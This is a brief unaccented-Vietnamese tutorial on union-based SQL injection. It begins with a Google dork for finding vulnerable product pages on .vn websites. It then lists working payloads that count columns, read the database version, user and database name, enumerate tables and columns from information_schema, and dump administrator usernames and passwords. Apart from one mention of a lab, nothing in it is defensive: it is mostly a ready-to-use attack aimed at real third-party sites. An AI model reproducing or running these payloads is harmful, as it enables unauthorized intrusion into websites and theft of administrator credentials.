Buoc 0:
tim trang web de khai thac loi: 
Vao google search tu khoa : inurl:product_detail.php?id= site:vn
----->Chon site de kiem tra loi bang cach thay dau nhay don sau gia tri id (ex: id=97')
Neu site co loi ---->Khai thac theo trinh tu cac buoc sau

Buoc 1: Tim so cot cua table ma cau lenh sql truy van ?
        id=number order by 10 ---> lan luot thu cac so cot lon hon 10 , vi du la 12--->
        den khi xuat hien "Unknown column 'number' in 'order clause'
        ----Ket luan : table nay co tong so cot la : number - 1 (11 cot !!!)

Buoc 2: Hien mot so cot bi loi
        id= value_number go dong lenh and 2=1 union select all 1,2,3,....,number-1--
        hien lenh : cac vi tri loi xuat hien 3,  5,   6 (Trong bai lab nay )

Buoc 3: Kiem tra thong tin database
        Phia sau vi tri cot loi thu 2(o day la tu cot so 5) ta chen dong lenh sau
        id=number_value xxxxx 1,2,3,4 chen dong lenh sau: version(),xoa cot so 5 va chen ham version()--- >
        hien thong bao 5.0.96-community(ex: trong bai lab nay)



thong tin ve database : chen phia sau cot so 5
version()
database()
user()
Lay danh sach table : id=20 and 2=1 union select all 1,2,3,4,group_concat(table_name) ,6,7,8,9,10,11 from information_schema.tables where table_schema=database()--
gom : administrator,category,countries,doitac,manufacturer,permit,product,user 
      Khai thac:
      ?id=20 and 2=1 union select all 1,2,3,4,group_concat(column_name) ,6,7,8,9,10,11 from information_schema.columns where table_name='administrator'--
      nhan xet: chinh la table (administrator) gom cac column sau : AdmID,AdmFullName,AdmUsername,AdmPassword,PerID,AdmActive,AdmNote

      Xac dinh column_name : AdmPassword !!!! ---->Xem thong AdmUsername, AdmPasswords
      ?id=20 and 2=1 union select all 1,2,3,4,group_concat(AdmFullName, 0x3a, AdmUsername, 0x3a, AdmPassword) ,6,7,8,9,10,11 from administrator--